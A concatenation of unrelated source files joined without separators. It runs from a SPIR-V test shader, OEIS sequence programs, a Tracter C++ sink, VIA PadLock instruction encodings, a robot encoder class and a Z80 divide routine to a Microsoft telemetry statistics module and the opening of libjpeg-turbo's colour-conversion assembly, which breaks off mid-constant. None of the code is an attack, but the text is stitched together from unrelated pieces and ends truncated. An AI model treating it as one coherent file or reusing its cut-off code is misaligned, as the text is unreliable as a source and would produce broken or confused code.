; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 140 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %121 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %8 "_GLF_global_loop_count" OpName %14 "arr0" OpName %17 "arr1" OpName %21 "i" OpName %24 "buf0" OpMemberName %24 0 "_GLF_uniform_int_values" OpName %26 "" OpName %41 "k" OpName %44 "j" OpName %121 "_GLF_color" OpDecorate %23 ArrayStride 16 OpMemberDecorate %24 0 Offset 0 OpDecorate %24 Block OpDecorate %26 DescriptorSet 0 OpDecorate %26 Binding 0 OpDecorate %121 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypePointer Private %6 %8 = OpVariable %7 Private %9 = OpConstant %6 0 %10 = OpTypeInt 32 0 %11 = OpConstant %10 10 %12 = OpTypeArray %6 %11 %13 = OpTypePointer Private %12 %14 = OpVariable %13 Private %15 = OpConstant %6 1 %16 = OpConstantComposite %12 %15 %15 %15 %15 %15 %15 %15 %15 %15 %15 %17 = OpVariable %13 Private %18 = OpConstant %6 2 %19 = OpConstantComposite %12 %18 %18 %18 %18 %18 %18 %18 %18 %18 %18 %20 = OpTypePointer Function %6 %22 = OpConstant %10 6 %23 = OpTypeArray %6 %22 %24 = OpTypeStruct %23 %25 = OpTypePointer Uniform %24 %26 = OpVariable %25 Uniform %27 = OpTypePointer Uniform %6 %36 = OpConstant %6 10 %37 = OpTypeBool %52 = OpConstant %6 4 %96 = OpConstant %6 3 %107 = OpConstant %6 5 %118 = OpTypeFloat 32 %119 = OpTypeVector %118 4 %120 = OpTypePointer Output %119 %121 = OpVariable %120 Output %4 = OpFunction %2 None %3 %5 = OpLabel %21 = OpVariable %20 Function %41 = OpVariable %20 Function %44 = OpVariable %20 Function OpStore %8 %9 OpStore %14 %16 OpStore %17 %19 %28 = OpAccessChain %27 %26 %9 %15 %29 = OpLoad %6 %28 OpStore %21 %29 OpBranch %30 %30 = OpLabel OpLoopMerge %32 %33 None OpBranch %34 %34 = OpLabel %35 = OpLoad %6 %8 %38 = OpSLessThan %37 %35 %36 OpBranchConditional %38 %31 %32 %31 = OpLabel %39 = OpLoad %6 %8 %40 = OpIAdd %6 %39 %15 OpStore %8 %40 %42 = OpAccessChain %27 %26 %9 %15 %43 = OpLoad %6 %42 OpStore %41 %43 %45 = OpLoad %6 %21 OpStore %44 %45 OpBranch %46 %46 = OpLabel OpLoopMerge %48 %49 None OpBranch %50 %50 = OpLabel %51 = OpLoad %6 %44 %53 = OpAccessChain %27 %26 %9 %52 %54 = OpLoad %6 %53 %55 = OpSLessThan %37 %51 %54 %56 = OpLoad %6 %8 %57 = OpSLessThan %37 %56 %36 %58 = OpLogicalAnd %37 %55 %57 OpBranchConditional %58 %47 %48 %47 = OpLabel %59 = OpLoad %6 %8 %60 = OpIAdd %6 %59 %15 OpStore %8 %60 %61 = OpLoad %6 %41 %62 = OpIAdd %6 %61 %15 OpStore %41 %62 %63 = OpLoad %6 %44 %64 = OpIAdd %6 %63 %15 OpStore %44 %64 %65 = OpAccessChain %7 %14 %63 %66 = OpLoad %6 %65 %67 = OpAccessChain %7 %17 %61 OpStore %67 %66 OpBranch %49 %49 = OpLabel OpBranch %46 %48 = OpLabel %68 = OpAccessChain %27 %26 %9 %15 %69 = OpLoad %6 %68 %70 = OpAccessChain %27 %26 %9 %15 %71 = OpLoad %6 %70 %72 = OpAccessChain %7 %17 %71 %73 = OpLoad %6 %72 %74 = OpAccessChain %7 %14 %69 OpStore %74 %73 OpBranch %33 %33 = OpLabel %75 = OpLoad %6 %21 %76 = OpIAdd %6 %75 %15 OpStore %21 %76 OpBranch %30 %32 = OpLabel %77 = OpAccessChain %27 %26 %9 %9 %78 = OpLoad %6 %77 %79 = OpAccessChain %7 %17 %78 %80 = OpLoad %6 %79 %81 = OpAccessChain %27 %26 %9 %18 %82 = OpLoad %6 %81 %83 = OpIEqual %37 %80 %82 OpSelectionMerge %85 None OpBranchConditional %83 %84 %85 %84 = OpLabel %86 = OpAccessChain %27 %26 %9 %15 %87 = OpLoad %6 %86 %88 = OpAccessChain %7 %17 %87 %89 = OpLoad %6 %88 %90 = OpAccessChain %27 %26 %9 %15 %91 = OpLoad %6 %90 %92 = OpIEqual %37 %89 %91 OpBranch %85 %85 = OpLabel %93 = OpPhi %37 %83 %32 %92 %84 OpSelectionMerge %95 None OpBranchConditional %93 %94 %95 %94 = OpLabel %97 = OpAccessChain %27 %26 %9 %96 %98 = OpLoad %6 %97 %99 = OpAccessChain %7 %17 %98 %100 = OpLoad %6 %99 %101 = OpAccessChain %27 %26 %9 %15 %102 = OpLoad %6 %101 %103 = OpIEqual %37 %100 %102 OpBranch %95 %95 = OpLabel %104 = OpPhi %37 %93 %85 %103 %94 OpSelectionMerge %106 None OpBranchConditional %104 %105 %106 %105 = OpLabel %108 = OpAccessChain %27 %26 %9 %107 %109 = OpLoad %6 %108 %110 = OpAccessChain %7 %17 %109 %111 = OpLoad %6 %110 %112 = OpAccessChain %27 %26 %9 %15 %113 = OpLoad %6 %112 %114 = OpIEqual %37 %111 %113 OpBranch %106 %106 = OpLabel %115 = OpPhi %37 %104 %95 %114 %105 OpSelectionMerge %117 None OpBranchConditional %115 %116 %135 %116 = OpLabel %122 = OpAccessChain %27 %26 %9 %15 %123 = OpLoad %6 %122 %124 = OpConvertSToF %118 %123 %125 = OpAccessChain %27 %26 %9 %9 %126 = OpLoad %6 %125 %127 = OpConvertSToF %118 %126 %128 = OpAccessChain %27 %26 %9 %9 %129 = OpLoad %6 %128 %130 = OpConvertSToF %118 %129 %131 = OpAccessChain %27 %26 %9 %15 %132 = OpLoad %6 %131 %133 = OpConvertSToF %118 %132 %134 = OpCompositeConstruct %119 %124 %127 %130 %133 OpStore %121 %134 OpBranch %117 %135 = OpLabel %136 = OpAccessChain %27 %26 %9 %9 %137 = OpLoad %6 %136 %138 = OpConvertSToF %118 %137 %139 = OpCompositeConstruct %119 %138 %138 %138 %138 OpStore %121 %139 OpBranch %117 %117 = OpLabel OpReturn OpFunctionEnd
; A100039: Positions of occurrences of the natural numbers as fourth subsequence in A100035. ; 22,35,52,73,98,127,160,197,238,283,332,385,442,503,568,637,710,787,868,953,1042,1135,1232,1333,1438,1547,1660,1777,1898,2023,2152,2285,2422,2563,2708,2857,3010,3167,3328,3493,3662,3835,4012,4193,4378,4567,4760 add $0,3 mul $0,2 bin $0,2 add $0,7
/* * Copyright 2007 by IDIAP Research Institute * http://www.idiap.ch * * See the file COPYING for the licence associated with this software. */ #include "ScreenSink.h" Tracter::ScreenSink::ScreenSink( Component<float>* iInput, const char* iObjectName ) { mObjectName = iObjectName; mInput = iInput; Connect(mInput); mFrame.size = mInput->Frame().size; if (mFrame.size == 0) mFrame.size = 1; Initialise(); Reset(); mMaxSize = GetEnv("MaxSize", 0); } /** * Suck data onto screen. */ void Tracter::ScreenSink::Open() { /* Processing loop */ int index = 0; CacheArea cache; while (mInput->Read(cache, index)) { float* f = mInput->GetPointer(cache.offset); printf("%d: ", index++ ); for (int i = 0 ; i < mFrame.size ; i++ ){ printf( "%.3f ",f[i]); } printf("\n"); if ((mMaxSize > 0) && (index >= mMaxSize)) break; } }
[bits 16] ;xstore-rng xstorerng ; 0f a7 c0 xstore ; 0f a7 c0 ;xcrypt-ecb xcryptecb ; f3 0f a7 c8 ;xcrypt-cbc xcryptcbc ; f3 0f a7 d0 ;xcrypt-ctr xcryptctr ; f3 0f a7 d8 ;xcrypt-cfb xcryptcfb ; f3 0f a7 e0 ;xcrypt-ofb xcryptofb ; f3 0f a7 e8 montmul ; f3 0f a6 c0 xsha1 ; f3 0f a6 c8 xsha256 ; f3 0f a6 d0
/* * Supemeca Never Dies 2017 * \file Qei.cpp * \date 17/03/2017 * \author Romain Reignier */ #include "Qei.h" Qei::Qei(QEIDriver* _leftDriver, bool _leftIsInverted, QEIDriver* _rightDriver, bool _rightIsInverted) : m_leftDriver{_leftDriver}, m_rightDriver{_rightDriver}, m_leftCnt{0}, m_rightCnt{0}, m_leftCfg{QEI_MODE_QUADRATURE, QEI_BOTH_EDGES, _leftIsInverted ? QEI_DIRINV_TRUE : QEI_DIRINV_FALSE, QEI_OVERFLOW_WRAP, 0, 0, NULL, NULL}, m_rightCfg{QEI_MODE_QUADRATURE, QEI_BOTH_EDGES, _rightIsInverted ? QEI_DIRINV_TRUE : QEI_DIRINV_FALSE, QEI_OVERFLOW_WRAP, 0, 0, NULL, NULL} { } void Qei::begin() { qeiStart(m_leftDriver, &m_leftCfg); qeiStart(m_rightDriver, &m_rightCfg); qeiEnable(m_leftDriver); qeiEnable(m_rightDriver); } void Qei::getValues(int32_t* _left, int32_t* _right) { osalSysLock(); getValuesI(_left, _right); osalSysUnlock(); } void Qei::getValuesI(int32_t* _left, int32_t* _right) { m_leftCnt += qeiUpdateI(m_leftDriver); m_rightCnt += qeiUpdateI(m_rightDriver); *_left = m_leftCnt; *_right = m_rightCnt; } QEIDriver *Qei::getLeftDriver() const { return m_leftDriver; } QEIDriver *Qei::getRightDriver() const { return m_rightDriver; }
; ********************************************************************************* ; ********************************************************************************* ; ; File: divide.asm ; Purpose: 16 bit unsigned divide ; Date : 12th March 2019 ; Author: paul@robsons.org.uk ; ; ********************************************************************************* ; ********************************************************************************* ; ********************************************************************************* ; ; Calculates DE / HL. On exit DE = result, HL = remainder ; ; ********************************************************************************* DIVDivideMod16: push bc ld b,d ; DE ld c,e ex de,hl ld hl,0 ld a,b ld b,8 Div16_Loop1: rla adc hl,hl sbc hl,de jr nc,Div16_NoAdd1 add hl,de Div16_NoAdd1: djnz Div16_Loop1 rla cpl ld b,a ld a,c ld c,b ld b,8 Div16_Loop2: rla adc hl,hl sbc hl,de jr nc,Div16_NoAdd2 add hl,de Div16_NoAdd2: djnz Div16_Loop2 rla cpl ld d,c ld e,a pop bc ret
; A262402: a(n) = number of triangles that can be formed from the points of a 3 X n grid. ; Submitted by Jamie Morken(l1) ; 0,18,76,200,412,738,1200,1824,2632,3650,4900,6408,8196,10290,12712,15488,18640,22194,26172,30600,35500,40898,46816,53280,60312,67938,76180,85064,94612,104850,115800,127488,139936,153170,167212,182088,197820,214434,231952,250400,269800,290178,311556,333960,357412,381938,407560,434304,462192,491250,521500,552968,585676,619650,654912,691488,729400,768674,809332,851400,894900,939858,986296,1034240,1083712,1134738,1187340,1241544,1297372,1354850,1414000,1474848,1537416,1601730,1667812,1735688 add $0,1 mov $2,7 mov $3,$0 pow $3,2 mul $2,$3 mov $1,$2 add $1,$3 mul $0,$1 sub $0,$2 div $0,2
////////////////////////////////////////////////////////////////////////////// /// Copyright 2003 and onward LASMEA UMR 6602 CNRS/U.B.P Clermont-Ferrand /// Copyright 2009 and onward LRI UMR 8623 CNRS/Univ Paris Sud XI /// /// Distributed under the Boost Software License, Version 1.0 /// See accompanying file LICENSE.txt or copy at /// http://www.boost.org/LICENSE_1_0.txt ////////////////////////////////////////////////////////////////////////////// #ifndef NT2_CORE_FUNCTIONS_IMPL_SIZE_SIZE_HPP_INCLUDED #define NT2_CORE_FUNCTIONS_IMPL_SIZE_SIZE_HPP_INCLUDED #include <nt2/core/functions/impl/size/scalar.hpp> #endif
// // Copyright (c) 2015-2020 Microsoft Corporation and Contributors. // SPDX-License-Identifier: Apache-2.0 // #include "MetaStats.hpp" #include <utils/Utils.hpp> namespace MAT_NS_BEGIN { /// <summary> /// Lock metaStats counts when rejected events come in via a separate thread /// </summary> static std::mutex rejected_callback_mtx; /// <summary> /// Converts RollUpKind enum value to string name. /// </summary> /// <param name="rollupKind">Kind of the rollup.</param> /// <returns></returns> static char const* RollUpKindToString(RollUpKind rollupKind) { switch (rollupKind) { case ACT_STATS_ROLLUP_KIND_START: return "start"; case ACT_STATS_ROLLUP_KIND_STOP: return "stop"; case ACT_STATS_ROLLUP_KIND_ONGOING: return "ongoing"; default: return "unknown"; } } /// <summary> /// Initialize keys in each frequency distribution /// </summary> /// <param name="firstValue">the first non-zero value of distribution spot</param> /// <param name="increment">used to calculate next spot</param> /// <param name="totalSpot">total number of spots, including the first 0</param> /// <param name="distribution">map</param> /// <param name="factor">if true, next spot = last spot * increment; otherwise, next spot = last spot + increment</param> /* TODO: consider rewriting this function */ void initDistributionKeys(unsigned int firstValue, unsigned int increment, unsigned int totalSpot, uint_uint_dict_t& distribution, bool factor = true) { distribution.clear(); distribution[0] = 0; unsigned int lastkey = 0; if (factor) { for (unsigned int i = 1; i < totalSpot; ++i) { unsigned int key = (lastkey == 0) ? firstValue : (increment * lastkey); distribution[key] = 0; lastkey = key; } } else { for (unsigned int i = 1; i < totalSpot; ++i) { unsigned int key = (lastkey == 0) ? firstValue : (lastkey + increment); distribution[key] = 0; lastkey = key; } } } /// <summary> /// Update the occurrence within the corresponding group of Map distribution /// </summary> /// <param name="distribution">a distribution to be updated</param> /// <param name="value">unsigned int, sample value, must be in some group of the given distribution</param> /* TODO: consider rewriting this function */ void updateMap(uint_uint_dict_t& distribution, unsigned int value) { if (distribution.empty()) { return; } uint_uint_dict_t::iterator it = distribution.begin(); for (; it != distribution.end(); ++it) { if (value < it->first) { break; } } if (it == distribution.begin()) { // If value is not in any range, we still put it in first range. //LOG_WARN("value %u is less than distribution start (< %u)", value, it->first); it->second++; } else { (--it)->second++; } } /// <summary> /// A template function with typename T. /// The definition and implement must be in the same file. /// Only Clear values of each frequency distribution while keys are maintained. /// </summary> /// <param name="distribution">map<T, unsigned int></param> template<typename T, typename V> void clearMapValues(std::map<T, V>& distribution) { for (auto& item : distribution) { item.second = 0; } } template<typename T> static void insertNonZero(std::map<std::string, ::CsProtocol::Value>& target, std::string const& key, T const& value) { if (value != 0) { ::CsProtocol::Value temp; temp.stringValue = toString(value); target[key] = temp; } } /// <summary> /// Add count per each HTTP recode code to Record Extension Field /// </summary> /// <param name="record">telemetry::Record</param> /// <param name="distributionName">prefix of the key name in record extension map</param> /// <param name="distribution">map<unsigned int, unsigned int>, key is the http return code, value is the count</param> /* TODO: consider rewriting this function */ static void addCountsPerHttpReturnCodeToRecordFields(::CsProtocol::Record& record, std::string const& prefix, uint_uint_dict_t const& countsPerHttpReturnCodeMap) { if (countsPerHttpReturnCodeMap.empty()) { return; } if (record.data.size() == 0) { ::CsProtocol::Data data; record.data.push_back(data); } for (auto const& item : countsPerHttpReturnCodeMap) { insertNonZero(record.data[0].properties, prefix + "_" + toString(item.first), item.second); } } MetaStats::MetaStats(IRuntimeConfig& config) : m_config(config), m_enableTenantStats(false) { m_telemetryStats.statsStartTimestamp = PAL::getUtcSystemTimeMs(); resetStats(true); m_telemetryStats.offlineStorageEnabled = (static_cast<unsigned>(m_config[CFG_INT_CACHE_FILE_SIZE]) > 0); m_telemetryStats.resourceManagerEnabled = false; m_telemetryStats.ecsClientEnabled = false; m_enableTenantStats = static_cast<bool>(m_config[CFG_MAP_METASTATS_CONFIG]["split"]); m_sessionId = PAL::generateUuidString(); } MetaStats::~MetaStats() { } /// <summary> /// Resets the stats. /// </summary> /// <param name="start">if set to <c>true</c> [start].</param> void MetaStats::resetStats(bool start) { LOG_TRACE("resetStats start=%u", (unsigned)start); auto resetTelemetryStats = [&](TelemetryStats& telemetryStats) { telemetryStats.Reset(); telemetryStats.statsStartTimestamp = PAL::getUtcSystemTimeMs(); telemetryStats.sessionId = m_sessionId; if (start) { telemetryStats.statsSequenceNum = 0; telemetryStats.sessionStartTimestamp = telemetryStats.statsStartTimestamp; } else { telemetryStats.statsSequenceNum++; } }; // Cumulative resetTelemetryStats(m_telemetryStats); // Per-tenant if (m_enableTenantStats) { for (auto &kv : m_telemetryTenantStats) { resetTelemetryStats(kv.second); } } } /// <summary> /// Saves private snap stats to record. /// </summary> /// <param name="records">The records.</param> /// <param name="rollupKind">Kind of the rollup.</param> /// <param name="telemetryStats">The telemetry stats.</param> void MetaStats::snapStatsToRecord(std::vector< ::CsProtocol::Record>& records, RollUpKind rollupKind, TelemetryStats& telemetryStats) { ::CsProtocol::Record record; if (record.data.size() == 0) { ::CsProtocol::Data data; record.data.push_back(data); } record.baseType = "evt_stats"; record.name = "evt_stats"; std::map<std::string, ::CsProtocol::Value>& ext = record.data[0].properties; // Stats tenant ID std::string statTenantToken = m_config.GetMetaStatsTenantToken(); record.iKey = "o:" + statTenantToken.substr(0, statTenantToken.find('-'));; // Session start time insertNonZero(ext, "sess_time", telemetryStats.sessionStartTimestamp); // Stats interval start insertNonZero(ext, "stat_time", telemetryStats.statsStartTimestamp); // Dtats interval end insertNonZero(ext, "snap_time", PAL::getUtcSystemTimeMs()); // Stats kind: start|ongoing|stop ::CsProtocol::Value rollupKindValue; rollupKindValue.stringValue = RollUpKindToString(rollupKind); ext["kind"] = rollupKindValue; // Stats frequency insertNonZero(ext, "freq", m_config.GetMetaStatsSendIntervalSec()); // Offline storage info if (telemetryStats.offlineStorageEnabled) { OfflineStorageStats& storageStats = telemetryStats.offlineStorageStats; ::CsProtocol::Value storageFormatValue; storageFormatValue.stringValue = storageStats.storageFormat; ext["off_type"] = storageFormatValue; if (!storageStats.lastFailureReason.empty()) { ::CsProtocol::Value lastFailureReasonValue; lastFailureReasonValue.stringValue = storageStats.lastFailureReason; ext["off_fail"] = lastFailureReasonValue; } insertNonZero(ext, "off_size", storageStats.fileSizeInBytes); } // Package stats PackageStats& packageStats = telemetryStats.packageStats; insertNonZero(ext, "pkg_nak", packageStats.totalPkgsNotToBeAcked); insertNonZero(ext, "pkg_pnd", packageStats.totalPkgsToBeAcked); insertNonZero(ext, "pkg_ack", packageStats.totalPkgsAcked); insertNonZero(ext, "pkg_ok", packageStats.successPkgsAcked); insertNonZero(ext, "pkg_ret", packageStats.retryPkgsAcked); insertNonZero(ext, "pkg_drp", packageStats.dropPkgsAcked); addCountsPerHttpReturnCodeToRecordFields(record, "pkg_drop_HTTP", packageStats.dropPkgsPerHttpReturnCode); addCountsPerHttpReturnCodeToRecordFields(record, "pkg_retr_HTTP", packageStats.retryPkgsPerHttpReturnCode); insertNonZero(ext, "bytes", packageStats.totalBandwidthConsumedInBytes); // RTT stats if (packageStats.successPkgsAcked > 0) { LOG_TRACE("rttStats is added to record ext field"); LatencyStats& rttStats = telemetryStats.rttStats; insertNonZero(ext, "rtt_max", rttStats.maxOfLatencyInMilliSecs); insertNonZero(ext, "rtt_min", rttStats.minOfLatencyInMilliSecs); } // Event stats RecordStats& recordStats = telemetryStats.recordStats; insertNonZero(ext, "evt_ban", recordStats.banned); insertNonZero(ext, "evt_rcv", recordStats.received); insertNonZero(ext, "evt_snt", recordStats.sent); insertNonZero(ext, "evt_rej", recordStats.rejected); insertNonZero(ext, "evt_drp", recordStats.dropped); // Reject reason stats for (const auto &kv : m_reject_reasons) { insertNonZero(ext, kv.second, recordStats.rejectedByReason[kv.first]); } // Drop reason stats insertNonZero(ext, "drp_ful", recordStats.overflown); insertNonZero(ext, "drp_io", recordStats.droppedByReason[DROPPED_REASON_OFFLINE_STORAGE_SAVE_FAILED]); insertNonZero(ext, "drp_ret", recordStats.droppedByReason[DROPPED_REASON_RETRY_EXCEEDED]); addCountsPerHttpReturnCodeToRecordFields(record, "drp_HTTP", recordStats.droppedByHTTPCode); // Event size stats if (recordStats.received > 0) { LOG_TRACE("source stats and record size stats in recordStats" " are added to record ext field"); insertNonZero(ext, "evt_bytes_max", recordStats.maxOfRecordSizeInBytes); insertNonZero(ext, "evt_bytes_min", recordStats.minOfRecordSizeInBytes); insertNonZero(ext, "evt_bytes", recordStats.totalRecordsSizeInBytes); } for (const auto &kv : m_latency_pfx) { const auto& lat = kv.first; const auto& pfx = kv.second; const RecordStats& r_stats = telemetryStats.recordStatsPerLatency[lat]; insertNonZero(ext, pfx + "ban", r_stats.banned); insertNonZero(ext, pfx + "rcv", r_stats.received); insertNonZero(ext, pfx + "snt", r_stats.sent); insertNonZero(ext, pfx + "drp", r_stats.dropped); insertNonZero(ext, pfx + "dsk", r_stats.overflown); insertNonZero(ext, pfx + "rej", r_stats.rejected); insertNonZero(ext, pfx + "bytes", r_stats.totalRecordsSizeInBytes); } records.push_back(record); } /// <summary> /// Saves stats to record for given current RollUpKind /// </summary> /// <param name="records">The records.</param> /// <param name="rollupKind">Kind of the rollup.</param> void MetaStats::rollup(std::vector< ::CsProtocol::Record>& records, RollUpKind rollupKind) { LOG_TRACE("snapStatsToRecord"); // Cumulative std::string statTenantToken = m_config.GetMetaStatsTenantToken(); m_telemetryStats.tenantId = statTenantToken.substr(0, statTenantToken.find('-')); snapStatsToRecord(records, rollupKind, m_telemetryStats); // Per-tenant if (m_enableTenantStats) { for (auto &tenantStats : m_telemetryTenantStats) { snapStatsToRecord(records, rollupKind, tenantStats.second); } } } /// <summary> /// Clears the stats. /// </summary> void MetaStats::clearStats() { LOG_TRACE("clearStats"); auto clearTelemetryStats = [&](TelemetryStats& telemetryStats) { telemetryStats.packageStats.dropPkgsPerHttpReturnCode.clear(); telemetryStats.packageStats.retryPkgsPerHttpReturnCode.clear(); telemetryStats.retriesCountDistribution.clear(); RecordStats& recordStats = telemetryStats.recordStats; recordStats.droppedByHTTPCode.clear(); OfflineStorageStats& storageStats = telemetryStats.offlineStorageStats; storageStats.saveSizeInKBytesDistribution.clear(); storageStats.overwrittenSizeInKBytesDistribution.clear(); }; // Cumulative clearTelemetryStats(m_telemetryStats); // Per-tenant if (m_enableTenantStats) { for (auto& tenantStats : m_telemetryTenantStats) { clearTelemetryStats(tenantStats.second); } } } /// <summary> /// Determines whether stats data available. /// </summary> /// <returns> /// <c>true</c> if [has stats data available]; otherwise, <c>false</c>. /// </returns> bool MetaStats::hasStatsDataAvailable() const { return (m_telemetryStats.recordStats.received > 0); } /// <summary> /// Generates the stats event. /// </summary> /// <param name="rollupKind">Kind of the rollup.</param> /// <returns></returns> std::vector< ::CsProtocol::Record> MetaStats::generateStatsEvent(RollUpKind rollupKind) { LOG_TRACE("generateStatsEvent"); std::vector< ::CsProtocol::Record> records; if (hasStatsDataAvailable() || rollupKind != RollUpKind::ACT_STATS_ROLLUP_KIND_ONGOING) { rollup(records, rollupKind); resetStats(false); } if (rollupKind == ACT_STATS_ROLLUP_KIND_STOP) { clearStats(); } return records; } /// <summary> /// Updates stats on incoming event. /// </summary> /// <param name="tenanttoken">The tenanttoken.</param> /// <param name="size">The size.</param> /// <param name="latency">The latency.</param> /// <param name="metastats">if set to <c>true</c> [metastats].</param> void MetaStats::updateOnEventIncoming(std::string const& tenanttoken, unsigned size, EventLatency latency, bool metastats) { auto updateRecordStats = [&](RecordStats& recordStats) { recordStats.received++; if (metastats) { recordStats.receivedStats++; } recordStats.maxOfRecordSizeInBytes = std::max<unsigned>(recordStats.maxOfRecordSizeInBytes, size); recordStats.minOfRecordSizeInBytes = std::min<unsigned>(recordStats.minOfRecordSizeInBytes, size); recordStats.totalRecordsSizeInBytes += size; if (latency >= 0) { RecordStats& recordStatsPerPriority = m_telemetryTenantStats[tenanttoken].recordStatsPerLatency[latency]; recordStatsPerPriority.received++; recordStatsPerPriority.totalRecordsSizeInBytes += size; } }; // Cumulative updateRecordStats(m_telemetryStats.recordStats); // Per-tenant if (m_enableTenantStats) { if (m_telemetryTenantStats[tenanttoken].tenantId.empty()) { m_telemetryTenantStats[tenanttoken].tenantId = tenanttoken.substr(0, tenanttoken.find('-')); } updateRecordStats(m_telemetryTenantStats[tenanttoken].recordStats); } } /// <summary> /// Updates stats on post data success. /// </summary> /// <param name="postDataLength">Length of the post data.</param> /// <param name="metastatsOnly">if set to <c>true</c> [metastats only].</param> void MetaStats::updateOnPostData(unsigned postDataLength, bool metastatsOnly) { // Cumulative only m_telemetryStats.packageStats.totalBandwidthConsumedInBytes += postDataLength; m_telemetryStats.packageStats.totalPkgsToBeAcked++; if (metastatsOnly) { m_telemetryStats.packageStats.totalMetastatsOnlyPkgsToBeAcked++; } } /// <summary> /// Updates stats on successful package send. /// </summary> /// <param name="recordIdsAndTenantids">The record ids and tenantids.</param> /// <param name="eventLatency">The event latency.</param> /// <param name="retryFailedTimes">The retry failed times.</param> /// <param name="durationMs">The duration ms.</param> /// <param name="latencyToSendMs">The latency to send ms.</param> /// <param name="metastatsOnly">if set to <c>true</c> [metastats only].</param> void MetaStats::updateOnPackageSentSucceeded(std::map<std::string, std::string> const& recordIdsAndTenantids, EventLatency eventLatency, unsigned retryFailedTimes, unsigned durationMs, std::vector<unsigned> const& /*latencyToSendMs*/, bool metastatsOnly) { // Package summary stats PackageStats& packageStats = m_telemetryStats.packageStats; packageStats.totalPkgsAcked++; packageStats.successPkgsAcked++; if (metastatsOnly) { packageStats.totalMetastatsOnlyPkgsAcked++; } m_telemetryStats.retriesCountDistribution[retryFailedTimes]++; // RTT stats: record min and max HTTP post latency LatencyStats& rttStats = m_telemetryStats.rttStats; rttStats.maxOfLatencyInMilliSecs = std::max<unsigned>(rttStats.maxOfLatencyInMilliSecs, durationMs); rttStats.minOfLatencyInMilliSecs = std::min<unsigned>(rttStats.minOfLatencyInMilliSecs, durationMs); auto updatePackageSent = [&](TelemetryStats& stats) { RecordStats& recordStats = stats.recordStats; recordStats.sent++; // Update per-priority record stats if (eventLatency >= 0) { RecordStats& recordStatsPerPriority = stats.recordStatsPerLatency[eventLatency]; recordStatsPerPriority.sent++; } }; // Cumulative updatePackageSent(m_telemetryStats); // Per-tenant if (m_enableTenantStats) { for (const auto& entry : recordIdsAndTenantids) { updatePackageSent(m_telemetryTenantStats[entry.second]); } } } /// <summary> /// Update stats on package failure. /// </summary> /// <param name="statusCode">The status code.</param> void MetaStats::updateOnPackageFailed(int statusCode) { // Cumulative only PackageStats& packageStats = m_telemetryStats.packageStats; packageStats.totalPkgsAcked++; packageStats.dropPkgsAcked++; packageStats.dropPkgsPerHttpReturnCode[statusCode]++; } /// <summary> /// Update stats on package retry. /// </summary> /// <param name="statusCode">The status code.</param> /// <param name="retryFailedTimes">The retry failed times.</param> void MetaStats::updateOnPackageRetry(int statusCode, unsigned retryFailedTimes) { // Cumulative only PackageStats& packageStats = m_telemetryStats.packageStats; packageStats.totalPkgsAcked++; packageStats.retryPkgsAcked++; packageStats.retryPkgsPerHttpReturnCode[statusCode]++; m_telemetryStats.retriesCountDistribution[retryFailedTimes]++; } /// <summary> /// Update stats on records dropped. /// </summary> /// <param name="reason">The reason.</param> /// <param name="droppedCount">The dropped count.</param> void MetaStats::updateOnRecordsDropped(EventDroppedReason reason, std::map<std::string, size_t> const& droppedCount) { unsigned int overallCount = 0; for (const auto& dropcouttenant : droppedCount) { // Per-tenant if (m_enableTenantStats) { auto& temp = m_telemetryTenantStats[dropcouttenant.first]; temp.recordStats.droppedByReason[reason] += static_cast<unsigned int>(dropcouttenant.second); temp.recordStats.dropped += static_cast<unsigned int>(dropcouttenant.second); } overallCount += static_cast<unsigned int>(dropcouttenant.second); } // Cumulative m_telemetryStats.recordStats.droppedByReason[reason] += overallCount; m_telemetryStats.recordStats.dropped += overallCount; } /// <summary> /// Update stats on records storage overflow. /// </summary> /// <param name="overflownCount">The overflown count.</param> void MetaStats::updateOnRecordsOverFlown(std::map<std::string, size_t> const& overflown) { unsigned int overallCount = 0; for (const auto& overflowntenant : overflown) { // Per-tenant if (m_enableTenantStats) { auto& temp = m_telemetryTenantStats[overflowntenant.first]; temp.recordStats.overflown += static_cast<unsigned int>(overflowntenant.second); } overallCount += static_cast<unsigned int>(overflowntenant.second); } // Cumulative m_telemetryStats.recordStats.overflown += overallCount; } /// <summary> /// Update stats on records rejected. /// </summary> /// <param name="reason">The reason.</param> /// <param name="rejectedCount">The rejected count.</param> void MetaStats::updateOnRecordsRejected(EventRejectedReason reason, std::map<std::string, size_t> const& rejectedCount) { unsigned int overallCount = 0; for (const auto& rejecttenant : rejectedCount) { // Per-tenant if (m_enableTenantStats) { TelemetryStats& temp = m_telemetryTenantStats[rejecttenant.first]; temp.recordStats.rejectedByReason[reason] += static_cast<unsigned int>(rejecttenant.second); temp.recordStats.rejected += static_cast<unsigned int>(rejecttenant.second); } overallCount += static_cast<unsigned int>(rejecttenant.second); } // Cumulative m_telemetryStats.recordStats.rejectedByReason[reason] += overallCount; } /// <summary> /// Update on storage open. /// </summary> /// <param name="type">The type.</param> void MetaStats::updateOnStorageOpened(std::string const& type) { m_telemetryStats.offlineStorageStats.storageFormat = type; } /// <summary> /// Update on storage open failed. /// </summary> /// <param name="reason">The reason.</param> void MetaStats::updateOnStorageFailed(std::string const& reason) { m_telemetryStats.offlineStorageStats.lastFailureReason = reason; } MATSDK_LOG_INST_COMPONENT_CLASS(RecordStats, "EventsSDK.RecordStats", "RecordStats"); } MAT_NS_END
; ; jccolor.asm - colorspace conversion (MMX) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; Copyright 2009 D. R. Commander ; ; Based on ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jsimdext.inc" ; -------------------------------------------------------------------------- %define SCALEBITS 16 F_0_081 equ 5329 ; FIX(0.08131) F_0_114 equ 7471 ; FIX(0.11400) F_0_168 equ 11059 ; FIX(0.16874) F_0_250 equ 16384 ; FIX(0.25000) F_0_299 equ 19595 ; FIX(0.29900) F_0_331 equ 21709 ; FIX(0.33126) F_0_418 equ 27439 